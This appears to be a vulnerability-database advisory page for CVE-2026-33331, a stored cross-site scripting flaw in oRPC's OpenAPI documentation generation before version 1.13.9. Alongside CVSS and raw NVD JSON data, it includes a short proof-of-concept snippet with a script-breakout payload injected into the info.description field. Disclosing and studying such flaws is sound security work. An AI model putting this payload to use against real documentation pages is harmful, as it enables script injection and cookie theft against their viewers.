Security Vulnerability Report
中文
CVE-2026-33331 CVSS 8.2 HIGH

CVE-2026-33331

Published: 2026-03-24 20:16:29
Last Modified: 2026-03-26 13:26:24

Description

oRPC is an tool that helps build APIs that are end-to-end type-safe and adhere to OpenAPI standards. Prior to version 1.13.9, a stored cross-site scripting (XSS) vulnerability exists in the OpenAPI documentation generation of orpc. If an attacker can control any field within the OpenAPI specification (such as info.description), they can break out of the JSON context and execute arbitrary JavaScript when a user views the generated API documentation. This issue has been patched in version 1.13.9.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:orpc:orpc:*:*:*:*:*:*:*:* - VULNERABLE
oRPC < 1.13.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC Concept: Injecting malicious payload into OpenAPI spec field // Target Field: info.description (or similar controllable fields) // Malicious payload designed to break out of JSON context and execute JS const payload = '</script><script>alert(document.cookie)</script><script>'; // Example vulnerable OpenAPI specification structure const openApiSpec = { "openapi": "3.0.0", "info": { "title": "Vulnerable oRPC API", "description": payload // Injection point }, "paths": {} }; // When the documentation generator renders the above spec without sanitization, // the browser executes the alert() function when the documentation page is loaded.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33331", "sourceIdentifier": "[email protected]", "published": "2026-03-24T20:16:28.547", "lastModified": "2026-03-26T13:26:24.360", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "oRPC is an tool that helps build APIs that are end-to-end type-safe and adhere to OpenAPI standards. Prior to version 1.13.9, a stored cross-site scripting (XSS) vulnerability exists in the OpenAPI documentation generation of orpc. If an attacker can control any field within the OpenAPI specification (such as info.description), they can break out of the JSON context and execute arbitrary JavaScript when a user views the generated API documentation. This issue has been patched in version 1.13.9."}, {"lang": "es", "value": "oRPC es una herramienta que ayuda a construir APIs que son de tipo seguro de extremo a extremo y se adhieren a los estándares de OpenAPI. Antes de la versión 1.13.9, existe una vulnerabilidad de cross-site scripting (XSS) almacenado en la generación de documentación de OpenAPI de oRPC. Si un atacante puede controlar cualquier campo dentro de la especificación de OpenAPI (como info.description), pueden salir del contexto JSON y ejecutar JavaScript arbitrario cuando un usuario ve la documentación de la API generada. Este problema ha sido parcheado en la versión 1.13.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orpc:orpc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.13.9", "matchCriteriaId": "137D3616-F542-4117-A6F1-D7A0E9C57A01"}]}]}], "references": [{"url": "https://github.com/middleapi/orpc/commit/4f0efa8a1d3fa8e8317a4b03cc3945a5dfd68add", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/middleapi/orpc/releases/tag/v1.13.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/middleapi/orpc/security/advisories/GHSA-7f6v-3gx7-27q8", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/middleapi/orpc/security/advisories/GHSA-7f6v-3gx7-27q8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}